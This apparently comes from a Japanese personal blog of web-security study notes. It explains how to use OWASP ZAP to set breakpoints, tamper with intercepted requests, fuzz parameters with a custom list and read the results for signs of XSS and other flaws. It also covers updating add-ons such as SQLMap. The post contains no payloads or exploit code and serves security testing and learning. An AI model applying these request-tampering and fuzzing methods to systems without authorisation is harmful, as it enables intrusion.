「Standard Mode」の場合、「→」(全リクエストにブレークポイントセット)を押下しただけで全てのリクエストにブレークポイントが設定されるが、「Protected Mode」の場合、ブレークポイントが有効になるのはコンテキスト内のURLに対してのみの模様。

ブレークが入るURLの場合、POSTやGETなどで当該URLに遷移する際、ZAPが反応してリクエストを差し止めてくれる。右上ペインの「ブレーク」タブが自動的に有効になり、上にリクエストヘッダ、下にリクエストボディが表示された状態になる。



パラメータやリクエストヘッダの内容を改変し、「サブミットして次のリクエストかレスポンスへ移動」「サブミットして次のブレークポイントへ移動」のどちらかのボタンを押下すると、改変したリクエストがサーバーに投げられ、レスポンスが戻ってくる。



サーバから戻ってきたレスポンスは、ZAPの右上の「レスポンス」タブで内容が見られるし、ブラウザにも表示される。
この手順でリクエストをいろいろ改変し、脆弱性を探すことができる。

Fuzzer

ブレークポイントを使ってパラメータを一つ一つ改変するのを手作業でやるのがつらい時がある。
OWASP ZAPには、ファジングを行う機能もあり、その機能を使って様々なパラメータを楽に試すことができる。(ファジングに使うパラメータリストを自前で作成することもできる。)

Fuzzerの設定を調整


「ツール」-「オプション」-「Fuzzer」で「並列スキャンスレッド数」を設定することができる。並列スレッド数を増やすと、ファジングを行うスレッドが増え、検査の進捗が早くなるが、サーバ及びクライアント側の負荷が高くなる。

また、この画面の「Add Custom fuzz File:」「ファイルを選択してください」というボタンを押下し、任意のテキストファイル(1行に1パラメータを記述したテキストファイル)を、自前のファジング用パラメータリストとしてZAPに設定することができる。



ここでFuzzerの動作を確認するため、試しに

fuzz1
fuzz2
fuzz3

という3行だけのテキストファイルを作って、「fuzztest.txt」という名前でデスクトップ等に保存し、これをZAPのカスタムファザーに設定してみる。(このファイルの一行が、1パラメータになる予定)

上図Options画面の「Add Custom fuzz File:」「ファイルを選択してください」というボタンを押下し、「fuzztest.txt」を指定する。(このファイルをZAPが格納するディレクトリの書き込み権限がないとエラーになることがある。その場合はエラーダイアログに表示されるディレクトリを作成し書き込み権限を追加してください)

ZAPの画面下部の履歴タブからファジングを行いたいリクエストを選択し、画面上部右の「リクエスト」タブを開き、ファジングを行いたい箇所をドラッグで選択してから右クリック-「Fuzz..」を選択。



「Fuzz」という子ウィンドウが開くので、「Fuzzカテゴリー:」のプルダウンを「Custom Fuzzers」にセットし、Fuzzリストにさきほど読み込ませたファイルが出てきていたら、それを選択。



「Fuzz」ボタンを押下すると、ZAPメインウィンドウの「Fuzzer」タブがアクティブになり、読み込ませたファイルに記載したパラメータが、ドラッグした箇所に設定されて次々とリクエストされる。



後は、レスポンスを見て回って脆弱性を示すようなレスポンスがないかチェックする。

結果一覧で、「Status」がHTTPステータスコード、「RTT(ms)」がレスポンス時間、「size」がレスポンスサイズ、「Fuzz」欄にリクエストしたパラメータが表示されるので、
特定のパラメータの時だけ
・HTTPステータスがおかしい
・他のパラメータの時と比べてレスポンスに時間がかかっている
・他のパラメータの時と比べてレスポンスサイズが大きい/小さい
などの変化を一覧で表示してくれるので、大変便利である。

また、「State」に「Refrected」とあると、リクエストしたパラメータが変更なく反射されたということを表すので、XSSの判定などに便利である。

・ZAPのアップデート
ZAPの「ヘルプ」-「アップデートのチェック」で、「Manege Add-ons」というウィンドウが開き、すでにZAPにインストールされているアドオンのアップデートがある場合には「Installed」タブに「Update」という印がついているので、右のチェックボックスをクリックして「Update Selected」ボタンでアップデートすることができる。



「MarketPlace」タブのほうでアドオンを追加することもでき、ここでstatusが「Release」になっている項目は、リリースレベルであると確認されたものなので追加しても安全とされる。

Betaレベルのアドオンでもベータ版であることを分かった上で追加することもでき、たとえば「SQLMap」がBetaレベルのアドオンとしてリストにあるので、追加してみると、スキャンポリシーのインジェクションカテゴリに「Advanced SQL Injection」という設定項目が増える。
(SQLMapは強力なツールなので、利用には気をつけたほうがよいようです。私は機能追加のテストとしてのみ入れ、ポリシーの項目が増えるのを確認した後アンインストールしました。)


参考資料

Translations / OWASPドキュメント翻訳
https://www.owasp.org/index.php/Japan#Completed
OWASP ZAP マニュアル Ver.2.1.0版 がある(日本語マニュアル)

zaproxy Google Code プロジェクト
https://code.google.com/p/zaproxy/
downloadsのところにUserGuideがある

(参考)別の方のOWASP ZAP ハンズオンセミナーマニュアル
OWASP ZAPのススメ (亀田 勇歩氏)
http://sssslide.com/speakerdeck.com/ykame/owasp-zapfalsesusume

ZAPをぶん回せ(境 稔氏、亀田 勇歩氏)
http://www.slideshare.net/minorsakai/130821-owasp-zed-attack-proxy

Powered by Blogger.
© WEB系情報セキュリティ学習メモ Suffusion theme by Sayontan Sinha. Converted by tmwwtw for LiteThemes.com.